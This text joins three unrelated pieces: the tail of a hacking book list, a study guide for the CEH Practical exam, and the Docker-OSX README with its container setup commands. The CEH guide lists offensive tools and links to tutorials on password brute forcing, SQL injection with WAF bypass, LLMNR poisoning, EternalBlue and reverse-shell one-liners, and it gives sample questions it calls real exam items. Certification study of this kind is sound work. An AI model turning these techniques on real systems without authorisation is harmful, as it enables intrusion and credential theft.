Hacking](https://www.amazon.com/Penetration-Testing-Hands-Introduction-Hacking/dp/1593275641) * [The Hacker Playbook 3: Practical Guide To Penetration Testing](https://www.amazon.com/Hacker-Playbook-Practical-Penetration-Testing-ebook/dp/B07CSPFYZ2) * [Hacking: The Art of Exploitation](https://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441) * [The Web Application Hacker's Handbook](https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470) * [Real-World Bug Hunting: A Field Guide to Web Hacking](https://www.amazon.com/Real-World-Bug-Hunting-Field-Hacking/dp/1593278616) * [The Tangled Web](https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886) * [Social Engineering: The Science of Human Hacking](https://www.amazon.com/Social-Engineering-Science-Human-Hacking-ebook/dp/B07F24YV2M) * [Linux Basics for Hackers](https://www.amazon.com/Linux-Basics-Hackers-Networking-Scripting/dp/1593278551) * [Violent Python](https://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579) * [Black Hat Python](https://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900)
# Guide-CEH-Practical-Master ### **Exame Details** - Exam Title: Certified Ethical Hacker (Practical) - Number of Practical Challenges: 20 - Duration: 6 hours - Availability: Aspen – iLabs - Test Format: iLabs Cyber Range - Passing Score: 70% (14 Questions) -------------------------------------------- **Exam Tips** - Vulnerability analysis to identify security loopholes in the target organization’s network, communication infrastructure, and end systems, etc; - System hacking, steganography; - Network scanning to identify live and vulnerable machines in a network; - OS banner grabbing, service, and user enumeration; - Different types of cryptography attacks; - SQL injection attacks; - Packet sniffing; -------------------------------------------- **Format** - Realized Test with Web Browser iLabs - One Kali Linux (No Update) and Windows Server 2016 to perform the pentest - Five machines to compromise on an isolated network from the internet - Search in Google? (Yes!) - Talk to someone during the race? (No!) -------------------------------------------- ### **Tools** - Nmap - Hydra - Sqlmap - Wpscan - Nikto - John - Hashcat - Metasploit - Responder LLMNR - Wireshark or Tcpdump - Steghide - OpenStego - QuickStego - Dirb - Searchsploit - Crunch - Cewl - Veracrypt - Hashcalc - Rainbow Crack -------------------------------------------- ### **Helps** - Reddit Exam Reviews - Medium Exam Reviews - Professionals Certificate - Hack The Box (Challenges Steganography and Web) (https://www.hackthebox.eu/) - Vulnhub (Machines Easy to Medium) (https://www.vulnhub.com/) - Labs PenTest Brazil (CEH Course made in Major Eder ft ACADI-TI) (https://acaditi.com.br/ceh-v10-treinamento-certified-ethical-hacker/) - TryHackMe (https://tryhackme.com/) / https://tryhackme.com/room/wirectf / https://tryhackme.com/room/wirectf / https://tryhackme.com/room/hydra / https://tryhackme.com/room/sqli / https://tryhackme.com/room/crackthehash / https://medium.com/@kyryloren/jack-writeup-by-kyryloren-tryhackme-e41cff4e1c55 - iLabs CEH (https://ilabs.eccouncil.org/ethical-hacking-exercises/) -------------------------------------------- ### **Examples Questions (There are the real issues)** - What is the IP of the Windows X machine? - What is the version of the Linux Kernel? - How many Windows machines are there? - What is the password for user X of the FTP server? - What is user X's IBAN number? - Which user X's phone number? - What is the password hidden in the .jpeg file? -------------------------------------------- ### **Attacks Vector** https://www.upguard.com/blog/attack-vector https://searchsecurity.techtarget.com/definition/attack-vector https://www.balbix.com/insights/attack-vectors-and-breach-methods/ https://attack.mitre.org/ https://searchsecurity.techtarget.com/definition/attack-vector#:~:text=An%20attack%20vector%20is%20a,vulnerabilities%2C%20including%20the%20human%20element. https://www.youtube.com/watch?v=LsuoJb7n3co https://www.youtube.com/watch?v=rcB4EZLfi7I https://www.youtube.com/watch?v=dz7Ntp7KQGA -------------------------------------------- ### **Network Scanning** https://nmap.org/man/pt_BR/index.html https://nmap.org/docs.html https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/ https://hackertarget.com/nmap-tutorial/ https://www.stationx.net/nmap-cheat-sheet/ https://media.x-ra.de/doc/NmapCheatSheetv1.1.pdf https://www.100security.com.br/netdiscover https://kalilinuxtutorials.com/netdiscover-scan-live-hosts-network/ https://www.youtube.com/watch?v=PS677owUk-c https://www.stationx.net/nmap-cheat-sheet/ https://redteamtutorials.com/2018/10/14/nmap-cheatsheet/ https://resources.infosecinstitute.com/nmap-cheat-sheet/#gref https://medium.com/@infosecsanyam/nmap-cheat-sheet-nmap-scanning-types-scanning-commands-nse-scripts-868a7bd7f692 https://resources.infosecinstitute.com/network-discovery-tool/#gref -------------------------------------------- ### **Enumeration** https://null-byte.wonderhowto.com/how-to/enumerate-smb-with-enum4linux-smbclient-0198049/ https://www.hackingarticles.in/a-little-guide-to-smb-enumeration/ https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html https://medium.com/@arnavtripathy98/smb-enumeration-for-penetration-testing-e782a328bf1b https://www.redsiege.com/blog/2020/04/user-enumeration-part-3-windows/ https://nmap.org/nsedoc/scripts/smb-enum-users.html https://github.com/sensepost/UserEnum -------------------------------------------- ### **Brute Force** https://linuxconfig.org/password-cracking-with-john-the-ripper-on-linux https://securitytutorials.co.uk/brute-forcing-passwords-with-thc-hydra/ https://securitytutorials.co.uk/brute-forcing-passwords-with-thc-hydra/ https://redteamtutorials.com/2018/10/25/hydra-brute-force-https/ https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-online-passwords-with-tamper-data-thc-hydra-0155374/ https://laconicwolf.com/2018/09/29/hashcat-tutorial-the-basics-of-cracking-passwords-with-hashcat/ https://medium.com/@sc015020/how-to-crack-passwords-with-john-the-ripper-fdb98449ff1 https://www.varonis.com/blog/john-the-ripper/ -------------------------------------------- ### **Wordlists** http://www.phenoelit.org/dpl/dpl.html https://datarecovery.com/rd/default-passwords/ https://github.com/Dormidera/WordList-Compendium https://github.com/danielmiessler/SecLists https://www.kaggle.com/wjburns/common-password-list-rockyoutxt -------------------------------------------- ### **SQL Injection** https://hackertarget.com/sqlmap-tutorial/ https://www.binarytides.com/sqlmap-hacking-tutorial/ https://www.hackingarticles.in/database-penetration-testing-using-sqlmap-part-1/ https://medium.com/@rafaelrenovaci/dvwa-solution-sql-injection-blind-sqlmap-cd1461ad336e https://medium.com/hacker-toolbelt/dvwa-1-9-viii-blind-sql-injection-with-sqlmap-ee8d59fbdea7 https://www.exploit-db.com/docs/english/13701-easy-methodblind-sql-injection.pdf https://gracefulsecurity.com/sql-injection-filter-evasion-with-sqlmap/ https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3 https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF https://www.1337pwn.com/use-sqlmap-to-bypass-cloudflare-waf-and-hack-website-with-sql-injection/ -------------------------------------------- ### **Steganography** https://resources.infosecinstitute.com/steganography-and-tools-to-perform-steganography/#gref https://flylib.com/books/en/1.36.1/steganography.html https://blog.eccouncil.org/what-is-steganography-and-what-are-its-popular-techniques/ https://www.edureka.co/blog/steganography-tutorial https://www.tutorialspoint.com/image-based-steganography-using-python https://medium.com/@KamranSaifullah/da-vinci-stenography-challenge-solution-90122a59822 https://medium.com/@chrisdare/steganography-in-computer-forensics-6d6e87d85c0a https://www.telegraph.co.uk/culture/art/art-news/8197896/Mona-Lisa-painting-contains-hidden-code.html https://medium.com/write-ups-hackthebox/tagged/steganography http://moinkhans.blogspot.com/2015/06/steghide-beginners-tutorial.html https://www.2daygeek.com/easy-way-hide-information-inside-image-and-sound-objects/ -------------------------------------------- ### **System Hacking** https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/ https://www.ivoidwarranties.tech/posts/pentesting-tuts/responder/cheatsheet/ https://blog.rapid7.com/2017/03/21/combining-responder-and-psexec-for-internal-penetration-tests/ https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/ https://medium.com/@hninja049/how-to-easy-find-exploits-with-searchsploit-on-linux-4ce0b82c82fd https://www.offensive-security.com/offsec/edb-searchsploit-update-2020/ https://www.youtube.com/watch?v=29GlfaH5qCM https://www.hackingloops.com/maintaining-access-metasploit/ https://resources.infosecinstitute.com/information-gathering-using-metasploit/ https://www.youtube.com/watch?v=s6rwS7UuMt8 https://null-byte.wonderhowto.com/how-to/exploit-eternalblue-windows-server-with-metasploit-0195413/ https://www.youtube.com/watch?v=joT8NxlXxVY https://attack.mitre.org/techniques/T1557/001/ https://www.youtube.com/watch?v=0TBCzaBklcE https://www.youtube.com/watch?v=FfoQFKhWUr0 https://www.youtube.com/watch?v=Fg2gvk0qgjM https://www.youtube.com/watch?v=rjRDsXp_MNk https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning https://medium.com/@subhammisra45/llmnr-poisoning-and-relay-5477949b7bef https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/ -------------------------------------------- ### **Web Scanners** https://blog.clusterweb.com.br/?p=1297 https://hackertarget.com/nikto-tutorial/ https://geekflare.com/nikto-webserver-scanner/ https://www.youtube.com/watch?v=K78YOmbuT48 https://blog.sucuri.net/2015/12/using-wpscan-finding-wordpress-vulnerabilities.html https://www.hackingtutorials.org/web-application-hacking/hack-a-wordpress-website-with-wpscan/ https://linuxhint.com/wpscan_wordpress_vulnerabilities_scan/ https://www.youtube.com/watch?v=SS991k5Alp0 https://www.youtube.com/watch?v=MtyhOrBfG-E https://www.youtube.com/watch?v=sQ4TtFdaiRA https://www.exploit-db.com/docs/english/45556-wordpress-penetration-testing-using-wpscan-and-metasploit.pdf?rss https://www.wpwhitesecurity.com/strong-wordpress-passwords-wpscan/ https://www.youtube.com/watch?v=BTGP5sZfJKY https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-5-creating-custom-wordlist-with-cewl-0158855/ https://medium.com/tech-zoom/dirb-a-web-content-scanner-bc9cba624c86 https://www.hackingarticles.in/comprehensive-guide-on-dirb-tool/ -------------------------------------------- ### **Sniffers** https://www.youtube.com/watch?v=TkCSr30UojM https://www.varonis.com/blog/how-to-use-wireshark/ https://hackertarget.com/wireshark-tutorial-and-cheat-sheet/ https://www.lifewire.com/wireshark-tutorial-4143298 https://www.comparitech.com/net-admin/wireshark-cheat-sheet/ https://medium.com/hacker-toolbelt/wireshark-filters-cheat-sheet-eacdc438969c https://github.com/security-cheatsheet/wireshark-cheatsheet https://www.cellstream.com/resources/2013-09-10-11-55-21/cellstream-public-documents/wireshark-related/83-wireshark-display-filter-cheat-sheet/file https://www.howtogeek.com/104278/how-to-use-wireshark-to-capture-filter-and-inspect-packets/ https://www.youtube.com/watch?v=4_7A8Ikp5Cc https://www.guru99.com/wireshark-passwords-sniffer.html https://danielmiessler.com/study/tcpdump/ https://hackertarget.com/tcpdump-examples/ https://opensource.com/article/18/10/introduction-tcpdump -------------------------------------------- ### **Reviews and Details CEH Practical** https://www.linkedin.com/pulse/my-jouney-ceh-practical-joas-antonio-dos-santos (My Review) https://forums.itpro.tv/topic/2604/ceh-practical/2 https://www.linkedin.com/pulse/considera%C3%A7%C3%B5es-sobre-o-exame-ceh-practical-leandro-cortiz/ https://infayer.com/archivos/65 https://medium.com/@jonaldallan/passed-ec-councils-certified-ethical-hacker-practical-20634b6f0f2 https://www.reddit.com/r/CEH/comments/c69fou/passed_ceh_practicalpost_exam_writeup/ https://www.reddit.com/r/CEH/comments/eeu3cx/ceh_practical_handson_exam_passed_with_2020_score/ https://www.reddit.com/r/CEH/comments/8wk2ve/ceh_vs_ceh_practical/ https://www.reddit.com/r/CEH/comments/dfa1y8/passed_ceh_practical/ https://www.reddit.com/r/CEH/comments/b1wgbs/ceh_v10_practical/ https://www.youtube.com/watch?v=ZYEo2AQdgcg https://www.youtube.com/watch?v=MEYjyr65bJE https://www.reddit.com/r/CEH/comments/ek0gzp/ceh_practical_passed_2020/ https://www.reddit.com/r/CEH/comments/evuztj/ceh_practical/ https://www.reddit.com/r/CEH/comments/f6t80r/can_ceh_practical_be_regarded_as_a/ https://www.reddit.com/r/CEH/comments/g6z6vn/just_passed_ceh_practical_1920/ https://medium.com/@jonathanchelmus/c-eh-practical-exam-review-42755546c82e https://www.reddit.com/r/CEH/comments/hk6880/passing_ceh_practical/ https://www.reddit.com/r/CEH/comments/f629zk/ceh_practical_vs_ejpt_vs_ecppt/ https://www.youtube.com/watch?v=o1u69KvSFmQ&list=PLmQBbrHGk7jQbsvF3_xJp720yaUgeYCkj https://www.youtube.com/watch?v=oYgtePf0z44 https://www.youtube.com/watch?v=9g5gdhoDotg&list=PLWGnVet-gN_kGHSHbWbeI0gtfYx3PnDZO https://www.youtube.com/watch?v=LHU0OFcWSBk https://medium.com/@mruur/ceh-practical-exam-review-918e76f831ff https://www.youtube.com/c/XanderBilla/videos https://www.youtube.com/watch?v=YZf5xmeaU58 https://newhorizons.com.sg/ceh-master/ https://www.iitlearning.com/certified-ethical-hacker-practical.php https://medium.com/@anontuttuvenus/ceh-practical-exam-review-185ea4cef82a https://www.cyberprotex.com/ceh.html https://www.infosec4tc.com/product/ceh-master-exam1-exam2-practical/ https://sysaptechnologies.com/certified-ethical-hacker-ceh-v10-practical/ https://jensoroger.wordpress.com/2019/02/09/oscp-ceh-practical/ https://khroot.com/2020/06/20/certified-ethical-hacker-practical-review/ https://github.com/Samsar4/Ethical-Hacking-Labs https://www.reddit.com/r/CEH/comments/jg0y6u/ceh_practical/ https://www.reddit.com/r/CEH/comments/dfa1y8/passed_ceh_practical/ https://www.reddit.com/r/CEH/comments/cgualo/ceh_practical_tell_me_about_it/ https://www.reddit.com/r/CEH/comments/c69fou/passed_ceh_practicalpost_exam_writeup/
# Docker-OSX · [Follow @sickcodes on Twitter](https://twitter.com/sickcodes) ![Running Mac OS X in a Docker container](/running-mac-inside-docker-qemu.png?raw=true "OSX KVM DOCKER") Run Mac OS X in Docker with near-native performance! X11 Forwarding! iMessage security research! iPhone USB working! macOS in a Docker container! Conduct Security Research on macOS using both Linux & Windows! # Docker-OSX now has a Discord server & Telegram! The Discord is active on #docker-osx and anyone is welcome to come and ask questions, ideas, etc. <p align="center"> <a href="https://hub.docker.com/r/sickcodes/docker-osx"><img src="https://dockeri.co/image/sickcodes/docker-osx"/></a><a href="https://discord.gg/sickchat"><a href="https://discord.gg/sickchat" target="_blank"><img src="https://raw.githubusercontent.com/sickcodes/Docker-OSX/master/discord-logo.svg"></a></a> </p> ### Click to join the Discord server [https://discord.gg/sickchat](https://discord.gg/sickchat) ### Click to join the Telegram server [https://t.me/sickcodeschat](https://t.me/sickcodeschat) Or reach out via Linkedin if it's private: [https://www.linkedin.com/in/sickcodes](https://www.linkedin.com/in/sickcodes) Or via [https://sick.codes/contact/](https://sick.codes/contact/) ## Author This project is maintained by [Sick.Codes](https://sick.codes/). [(Twitter)](https://twitter.com/sickcodes) Additional credits can be found here: https://github.com/sickcodes/Docker-OSX/blob/master/CREDITS.md Additionally, comprehensive list of all contributors can be found here: https://github.com/sickcodes/Docker-OSX/graphs/contributors Big thanks to [@kholia](https://twitter.com/kholia) for maintaining the upstream project, which Docker-OSX is built on top of: [OSX-KVM](https://github.com/kholia/OSX-KVM). Also special thanks to [@thenickdude](https://github.com/thenickdude) who maintains the valuable fork [KVM-OpenCore](https://github.com/thenickdude/KVM-Opencore), which was started by [@Leoyzen](https://github.com/Leoyzen/)! Extra special thanks to the OpenCore team over at: https://github.com/acidanthera/OpenCorePkg. Their well-maintained bootloader provides much of the great functionality that Docker-OSX users enjoy :) If you like this project, consider contributing here or upstream! ## Quick Start Docker-OSX Video setup tutorial is also available here: https://www.youtube.com/watch?v=wLezYl77Ll8 **Windows users:** [click here to see the notes below](#id-like-to-run-docker-osx-on-windows)! <p align="center"> <a href="https://www.youtube.com/watch?v=wLezYl77Ll8" target="_blank"><img src="https://raw.githubusercontent.com/sickcodes/Docker-OSX/master/Youtube-Screenshot-Docker-OSX-Setup.png"></a> </p> First time here? try [initial setup](#initial-setup), otherwise try the instructions below to use either Catalina or Big Sur. ## Any questions, ideas, or just want to hang out? # [https://discord.gg/sickchat](https://discord.gg/sickchat) ### Catalina [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/latest?label=sickcodes%2Fdocker-osx%3Alatest](https://img.shields.io/docker/image-size/sickcodes/docker-osx/latest?label=sickcodes%2Fdocker-osx%3Alatest)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) ```bash docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ sickcodes/docker-osx:latest # docker build -t docker-osx . ``` ### Big Sur [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/big-sur?label=sickcodes%2Fdocker-osx%3Abig-sur](https://img.shields.io/docker/image-size/sickcodes/docker-osx/big-sur?label=sickcodes%2Fdocker-osx%3Abig-sur)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) ```bash docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ sickcodes/docker-osx:big-sur # docker build -t docker-osx --build-arg SHORTNAME=big-sur . ``` ### Monterey [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/monterey?label=sickcodes%2Fdocker-osx%3Amonterey](https://img.shields.io/docker/image-size/sickcodes/docker-osx/monterey?label=sickcodes%2Fdocker-osx%3Amonterey)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) ```bash docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e GENERATE_UNIQUE=true \ -e MASTER_PLIST_URL='https://raw.githubusercontent.com/sickcodes/osx-serial-generator/master/config-custom.plist' \ sickcodes/docker-osx:monterey # docker build -t docker-osx --build-arg SHORTNAME=monterey . ``` ### Ventura [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/ventura?label=sickcodes%2Fdocker-osx%3Aventura](https://img.shields.io/docker/image-size/sickcodes/docker-osx/ventura?label=sickcodes%2Fdocker-osx%3Aventura)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) ```bash docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e GENERATE_UNIQUE=true \ -e MASTER_PLIST_URL='https://raw.githubusercontent.com/sickcodes/osx-serial-generator/master/config-custom.plist' \ sickcodes/docker-osx:ventura # docker build -t docker-osx --build-arg SHORTNAME=ventura . ``` #### Run Catalina Pre-Installed [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/auto?label=sickcodes%2Fdocker-osx%3Aauto](https://img.shields.io/docker/image-size/sickcodes/docker-osx/auto?label=sickcodes%2Fdocker-osx%3Aauto)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) ```bash # 40GB disk space required: 20GB original image 20GB your container. docker pull sickcodes/docker-osx:auto # boot directly into a real OS X shell with a visual display [NOT HEADLESS] docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e GENERATE_UNIQUE=true \ sickcodes/docker-osx:auto # username is user # passsword is alpine ``` ### Older Systems ### High Sierra [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/high-sierra?label=sickcodes%2Fdocker-osx%3Ahigh-sierra](https://img.shields.io/docker/image-size/sickcodes/docker-osx/high-sierra?label=sickcodes%2Fdocker-osx%3Ahigh-sierra)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) ```bash docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ sickcodes/docker-osx:high-sierra # docker build -t docker-osx --build-arg SHORTNAME=high-sierra . ``` ### Mojave [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/mojave?label=sickcodes%2Fdocker-osx%3Amojave](https://img.shields.io/docker/image-size/sickcodes/docker-osx/mojave?label=sickcodes%2Fdocker-osx%3Amojave)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) ```bash docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ sickcodes/docker-osx:mojave # docker build -t docker-osx --build-arg SHORTNAME=mojave . ``` #### Download the image manually and use it in Docker [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked?label=sickcodes%2Fdocker-osx%3Anaked](https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked?label=sickcodes%2Fdocker-osx%3Anaked)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) This is a particularly good way for downloading the container, in case Docker's CDN (or your connection) happens to be slow. ```bash wget https://images2.sick.codes/mac_hdd_ng_auto.img docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v "${PWD}/mac_hdd_ng_auto.img:/image" \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e GENERATE_UNIQUE=true \ -e MASTER_PLIST_URL=https://raw.githubusercontent.com/sickcodes/Docker-OSX/master/custom/config-nopicker-custom.plist \ sickcodes/docker-osx:naked ``` #### Use your own image and manually and automatically log into a shell [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked-auto?label=sickcodes%2Fdocker-osx%3Anaked-auto](https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked-auto?label=sickcodes%2Fdocker-osx%3Anaked-auto)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) Enable SSH in network sharing inside the guest first. Change `-e "USERNAME=user"` and `-e "PASSWORD=password"` to your credentials. The container will add itself to `~/.ssh/authorized_keys` Since you can't see the screen, use the PLIST with nopicker, for example: ```bash # Catalina # wget https://images2.sick.codes/mac_hdd_ng_auto.img # Monterey wget https://images.sick.codes/mac_hdd_ng_auto_monterey.img docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v "${PWD}/mac_hdd_ng_auto_monterey.img:/image" \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e "USERNAME=user" \ -e "PASSWORD=alpine" \ -e GENERATE_UNIQUE=true \ -e MASTER_PLIST_URL=https://raw.githubusercontent.com/sickcodes/Docker-OSX/master/custom/config-nopicker-custom.plist \ sickcodes/docker-osx:naked-auto ``` # Share directories, sharing files, shared folder, mount folder The easiest and most secure way is `sshfs` ```bash # on Linux/Windows mkdir ~/mnt/osx sshfs user@localhost:/ -p 50922 ~/mnt/osx # wait a few seconds, and ~/mnt/osx will have full rootfs mounted over ssh, and in userspace # automated: sshpass -p <password> sshfs user@localhost:/ -p 50922 ~/mnt/osx ``` # (VFIO) iPhone USB passthrough (VFIO) If you have a laptop see the next usbfluxd section. If you have a desktop PC, you can use [@Silfalion](https://github.com/Silfalion)'s instructions: [https://github.com/Silfalion/Iphone_docker_osx_passthrough](https://github.com/Silfalion/Iphone_docker_osx_passthrough) # (USBFLUXD) iPhone USB -> Network style passthrough OSX-KVM Docker-OSX Video setup tutorial for usbfluxd is also available here: https://www.youtube.com/watch?v=kTk5fGjK_PM <p align="center"> <a href="https://www.youtube.com/watch?v=kTk5fGjK_PM" target="_blank"><img alt="iPhone USB passthrough on macOS virtual machine Linux & Windows" src="https://raw.githubusercontent.com/sickcodes/Docker-OSX/master/Youtube-USBFLUXD-Screenshot-Docker-OSX.png"></a> </p> This method WORKS on laptop, PC, anything! Thank you [@nikias](https://github.com/nikias) for [usbfluxd](https://github.com/corellium/usbfluxd) via [https://github.com/corellium](https://github.com/corellium)! **This is done inside Linux.** Open 3 terminals on Linux Connecting your device over USB on Linux allows you to expose `usbmuxd` on port `5000` using [https://github.com/corellium/usbfluxd](https://github.com/corellium/usbfluxd) to another system on the same network. Ensure `usbmuxd`, `socat` and `usbfluxd` are installed. `sudo pacman -S libusbmuxd usbmuxd avahi socat` Available on the AUR: [https://aur.archlinux.org/packages/usbfluxd/](https://aur.archlinux.org/packages/usbfluxd/) `yay usbfluxd` Plug in your iPhone or iPad. Terminal 1 ```bash sudo systemctl start usbmuxd sudo avahi-daemon ``` Terminal 2: ```bash # on host sudo systemctl restart usbmuxd sudo socat tcp-listen:5000,fork unix-connect:/var/run/usbmuxd ``` Terminal 3: ```bash sudo usbfluxd -f -n ``` ### Connect to a host running usbfluxd **This is done inside macOS.** Install homebrew. `172.17.0.1` is usually the Docker bridge IP, which is your PC, but you can use any IP from `ip addr`... macOS Terminal: ```zsh # on the guest brew install make automake autoconf libtool pkg-config gcc libimobiledevice usbmuxd git clone https://github.com/corellium/usbfluxd.git cd usbfluxd ./autogen.sh make sudo make install ``` Accept the USB over TCP connection, and appear as local: (you may need to change `172.17.0.1` to the IP address of the host. e.g. check `ip addr`) ```bash # on the guest sudo launchctl start usbmuxd export PATH=/usr/local/sbin:${PATH} sudo usbfluxd -f -r 172.17.0.1:5000 ``` Close apps such as Xcode and reopen them and your device should appear! *If you need to start again on Linux, wipe the current usbfluxd, usbmuxd, and socat:* ```bash sudo killall usbfluxd sudo systemctl restart usbmuxd sudo killall socat ``` ## Make container FASTER using [https://github.com/sickcodes/osx-optimizer](https://github.com/sickcodes/osx-optimizer) SEE commands in [https://github.com/sickcodes/osx-optimizer](https://github.com/sickcodes/osx-optimizer)! - Skip the GUI login screen (at your own risk!) - Disable spotlight indexing on macOS to heavily speed up Virtual Instances. - Disable heavy login screen wallpaper - Disable updates (at your own risk!) ## Increase disk space by moving /var/lib/docker to external drive, block storage, NFS, or any other location conceivable. Move /var/lib/docker, following the tutorial below - Cheap large physical disk storage instead using your server's disk, or SSD. - Block Storage, NFS, etc. Tutorial here: https://sick.codes/how-to-run-docker-from-block-storage/ Only follow the above tutorial if you are happy with wiping all your current Docker images/layers. Safe mode: Disable docker temporarily so you can move the Docker folder temporarily. - Do NOT do this until you have moved your image out already [https://github.com/dulatello08/Docker-OSX/#quick-start-your-own-image-naked-container-image](https://github.com/dulatello08/Docker-OSX/#quick-start-your-own-image-naked-container-image) ```bash killall dockerd systemctl disable --now docker systemctl disable --now docker.socket systemctl stop docker systemctl stop docker.socket ``` Now, that Docker daemon is off, move /var/lib/docker somewhere Then, symbolicly link /var/lib/docker somewhere: ```bash mv /var/lib/docker /run/media/user/some_drive/docker ln -s /run/media/user/some_drive/docker /var/lib/docker # now check if /var/lib/docker is working still ls /var/lib/docker ``` If you see folders, then it worked. You can restart Docker, or just reboot if you want to be sure. ## Important notices: **2021-11-14** - Added High Sierra, Mojave Pick one of these while **building**, irrelevant when using docker pull: ``` --build-arg SHORTNAME=high-sierra --build-arg SHORTNAME=mojave --build-arg SHORTNAME=catalina --build-arg SHORTNAME=big-sur --build-arg SHORTNAME=monterey --build-arg SHORTNAME=ventura ``` ## Technical details There are currently multiple images, each with different use cases (explained [below](#container-images)): - High Sierra - Mojave - Catalina - Big Sur - Monterey - Ventura - Auto (pre-made Catalina) - Naked (use your own .img) - Naked-Auto (user your own .img and SSH in) High Sierra: [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/high-sierra?label=sickcodes%2Fdocker-osx%3Ahigh-sierra](https://img.shields.io/docker/image-size/sickcodes/docker-osx/high-sierra?label=sickcodes%2Fdocker-osx%3Ahigh-sierra)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) Mojave: [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/mojave?label=sickcodes%2Fdocker-osx%3Amojave](https://img.shields.io/docker/image-size/sickcodes/docker-osx/mojave?label=sickcodes%2Fdocker-osx%3Amojave)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) Catalina: [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/latest?label=sickcodes%2Fdocker-osx%3Alatest](https://img.shields.io/docker/image-size/sickcodes/docker-osx/latest?label=sickcodes%2Fdocker-osx%3Alatest)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) Big-Sur: [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/big-sur?label=sickcodes%2Fdocker-osx%3Abig-sur](https://img.shields.io/docker/image-size/sickcodes/docker-osx/big-sur?label=sickcodes%2Fdocker-osx%3Abig-sur)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) Monterey make your own image: [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/monterey?label=sickcodes%2Fdocker-osx%3Amonterey](https://img.shields.io/docker/image-size/sickcodes/docker-osx/monterey?label=sickcodes%2Fdocker-osx%3Amonterey)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) Pre-made **Catalina** system by [Sick.Codes](https://sick.codes): username: `user`, password: `alpine` [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/auto?label=sickcodes%2Fdocker-osx%3Aauto](https://img.shields.io/docker/image-size/sickcodes/docker-osx/auto?label=sickcodes%2Fdocker-osx%3Aauto)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) Naked: Bring-your-own-image setup (use any of the above first): [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked?label=sickcodes%2Fdocker-osx%3Anaked](https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked?label=sickcodes%2Fdocker-osx%3Anaked)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) Naked Auto: same as above but with `-e USERNAME` & `-e PASSWORD` and `-e OSX_COMMANDS="put your commands here"` 